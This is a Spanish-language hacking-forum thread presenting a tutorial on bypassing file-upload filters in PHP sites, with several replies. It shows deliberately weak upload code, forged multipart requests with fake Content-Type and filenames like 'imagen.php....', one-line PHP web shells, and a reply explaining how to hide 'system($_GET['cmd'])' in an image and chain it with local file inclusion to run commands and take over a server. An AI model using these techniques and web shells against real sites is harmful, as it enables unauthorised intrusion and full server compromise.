comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Bypasseando filtros de uploads y subiendo archivos.php - by Hondaomena

  • 3 Respuestas
  • 5491 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado dracko.rx

  • *
  • Underc0der
  • Mensajes: 247
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://rax0rnet.blogspot.com/
    • Email
« en: Febrero 24, 2010, 02:31:05 pm »
1.- Introduccion


Muchas veces me he encontrado con paginas con uploads que intentan filtrar el contenido y la extension del archivo para impedir que cualquiera pueda subir archivos .php por ejemplo. En este manual os enseñare algunos trucos para bypassear algunas maneras que usan para filtrar los archivos que son subidos.


2.- Metodos de filtrado que utilizan y sus vulnerabilidades:



2.1.- Bypasseando uploads que usan ['type']

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
<?php
$archivo 
$HTTP_POST_FILES['archivo'];
$tipo $archivo['type'];
if (!(
strpos($tipo"jpeg"))) {
echo
'No aceptamos ese tipo de archivos';
}else{
    if (
move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo 
"Archivo subido correctamente "'>Archivo</a>";
    }else{
       echo "Imposible subir archivo";
    }

?>
El codigo vulnerable esta situado en: $archivo['type']; Ya que type es extraido de los headers que envia el navegador al subir un archivo, Por ejemplo este es el contenido de post que envÃ*a mi firefox al subir una imagen a ese upload:


Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
BMV\x80\x0e
Analicemoslo linea por linea:



Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\nHay se especifica el nombre del archivo que se esta subiendo al upload: imagen.jpg

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Content-Type: image/jpeg\r\nHay se especifica de que "tipo" es el archivo
En las siguientes lineas se dice cual es el contenido del archivo.

Si querriamos subir un archivo .php al servidor solamente tendriamos que mandar esta peticion:



Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="mishell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php include($_GET['c']); ?>

Si mandarÃ*amos esa petición al anterior upload conseguirÃ*amos subir mishell.php con éxito, para modificar las cabeceras que manda tu navegador puedes instalar este complemento en tu firefox:
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Ese complemento capturara todas las peticiones que envié tu navegador, solo tienes que darle a repetir para editarlas.



2.2 Uploads que miran la extensión del archivo
Hay otro tipo de uploads que miran la extensión del archivo, aquÃ* os pongo un ejemplo:


Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
<?php
$archivo 
$HTTP_POST_FILES['archivo'];
$nombre $archivo['name'];
$exploded explode('.'$nombre);
$extension $exploded['1'];

if (!(
$extension != 'jpg')) {
echo
'No aceptamos ese tipo de archivos';
}else{
    if (
move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo 
"Archivo subido correctamente '".$archivo['name']."'>Archivo</a>";
    }else{
       echo 
"Imposible subir archivo";
    }

?>
Ese es un ejemplo muy simple, hay bastarÃ*a con subir un archivo con nombre mishell.jpeg.php para bypassear su filtro.

AquÃ* pongo otro un poco mas complicado:


Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
<?php
$archivo 
$HTTP_POST_FILES['archivo'];
$nombre $archivo['name'];
$extension strrchr($nombre'.');
if (
$extension == 'php' or $extension == 'php5') {
echo
'No aceptamos ese tipo de archivos';
}else{
    if (
move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
       echo 
"Archivo subido correctamente ".$archivo['name']."'>Archivo</a>";
    }else{
       echo 
"Imposible subir archivo";
    }

?>
Ese upload denegarÃ*a subir la extensión .php  pero nosotros queremos subir un archivo .php :p.

Si subiriamos un archivo llamado mishell.jpg.php no nos dejaria ya que usa $extension = strrchr($nombre, '.'); y hay nos denegarÃ*a la extension. Subir un archivo llamado mishell.php.jpg tampoco nos valdrÃ*a ya que .jpg no se ejecutaria en el servidor. La solución esta en subir un archivo llamado mishell.php.... por ejemplo asÃ* bypasseariamos el filtro y mishell.php.... podrÃ*a ser leÃ*do como php en el servidor, veamos como hacerlo:

Primero con el live http headers capturamos la petición que manda nuestro navegador al subir un archivo llamado mishell.jpg:


Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>
ahora le dariamos al boton que dice repetir y modificariamos la peticion asi:ç


Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.php...."\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>

Así veríamos como imagen.php.... se a subido al servidor correctamente y si todo va bien se ejecutara como si fuera un archivo .php
Venta de diseños - Contactar por MP

No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado Aex12

  • *
  • Underc0der
  • Mensajes: 6
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: eresunhijodeputa
« Respuesta #1 en: Abril 09, 2014, 03:33:33 pm »
Pones filtros demasiado sencillos, bypassea este que acabo de improvisar a ver si puedes:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
$extension = end(explode(".", $nombre));
$extensiones = array("jpg", "png", "gif", "jpeg", "bmp");
if(in_array($extension, $extensiones)){
$nombrefinal = $id.".".$extension;  //$id es un numero aleatorio.
//se sube el archivo
} else {
echo "No se puede subir un archivo que no tenga extensión jpg, png, gif, jpeg, o bmp";
}
« Última modificación: Abril 09, 2014, 03:35:55 pm por Aex12 »

Desconectado Danni5

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Enero 05, 2015, 06:14:23 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Pones filtros demasiado sencillos, bypassea este que acabo de improvisar a ver si puedes:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
$extension = end(explode(".", $nombre));
$extensiones = array("jpg", "png", "gif", "jpeg", "bmp");
if(in_array($extension, $extensiones)){
$nombrefinal = $id.".".$extension;  //$id es un numero aleatorio.
//se sube el archivo
} else {
echo "No se puede subir un archivo que no tenga extensión jpg, png, gif, jpeg, o bmp";
}

También se podría, abres mozilla firefox te descargas live http headers
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Primer paso renombras la shell como shell.php.jpg (La extension jpg y el nombre php)
subes la shell. No tienes permisos para ver links. Registrate o Entra con tu cuenta
Te dará error de formato y te dira que no puedes subirla, el http habra capturado los datos no que  nosotros no vemos, le das a replay y borras .jpg y como no pasa por el filtro ya tendrás tu shell subida en php
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Nose si me he explicado bien pero si teneis alguna duda me mandais MP o lo dejais en comentario y lo ago más detalladamente

Desconectado Turka

  • *
  • Underc0der
  • Mensajes: 101
  • Actividad:
    0%
  • Reputación 0
  • Turca por herencia.
    • Ver Perfil
  • Skype: turka.xd
« Respuesta #3 en: Enero 05, 2015, 11:02:57 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Pones filtros demasiado sencillos, bypassea este que acabo de improvisar a ver si puedes:

Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta
$extension = end(explode(".", $nombre));
$extensiones = array("jpg", "png", "gif", "jpeg", "bmp");
if(in_array($extension, $extensiones)){
$nombrefinal = $id.".".$extension;  //$id es un numero aleatorio.
//se sube el archivo
} else {
echo "No se puede subir un archivo que no tenga extensión jpg, png, gif, jpeg, o bmp";
}


Buenas! me ha tocado bypassear un filtro como el que pones, donde se revisa la ultima extension con la funcion end().
La forma de bypassear depende un factor mas esta vez.

Lo primero que tenes que hacer es inyectar dentro de una imagen real imagen.jpg un pequeño script PHP como <?php system($_GET['cmd'];) ?> inyectas ese pequeño codigo en cualquier parte de la imagen asegurandote de no romperla, es algo simple pero delicado.

Despues de esto subes la imagen inyectada mediante el upload y aqui viene el segundo factor que es que para poder ejecutar comandos en el servidor mediante el script que inyectamos en la imagen es necesario que la web sea vulnerable a LFI y se pueda hacer una inclusion local de archivos. Las funciones require() e include() interpretan todo como PHP por tanto si a un LFI le pasamos de parametro la imagen inyectada, se ejecutara correctamente el PHP de la misma.

Ejemplo: sitio.com/index.php?pathvulnerable=imagen_inyectada.jpg&cmd=elcomandoaejecutar

Con &cmd= terminas logrando ejecutar comandos en el servidor por ende apoderarte del mismo.

Saludos
Turka.
« Última modificación: Enero 05, 2015, 11:04:33 pm por Turka »

 

¿Te gustó el post? COMPARTILO!



Tool para sacar Todos! los archivos de configuracion de un servidor

Iniciado por ANTRAX

Respuestas: 3
Vistas: 2626
Último mensaje Agosto 30, 2012, 01:28:32 pm
por hdbreaker
Panóptico - Común de Registro y los archivos de configuración Retriever

Iniciado por Mayk0

Respuestas: 1
Vistas: 1522
Último mensaje Mayo 07, 2013, 11:52:34 pm
por hdbreaker
HTTP METHODS: Subiendo Shell mediante PUT

Iniciado por dracko.rx

Respuestas: 0
Vistas: 2344
Último mensaje Febrero 24, 2010, 03:07:58 pm
por dracko.rx
[XSS] Bypassing de Magics Quotes y otros filtros

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1237
Último mensaje Julio 17, 2011, 08:08:56 pm
por LucaSthefano
Subiendo Shell Explotando LFI via PHP:INPUT

Iniciado por CalebBucker

Respuestas: 10
Vistas: 6470
Último mensaje Noviembre 02, 2012, 11:18:52 am
por DogBreaker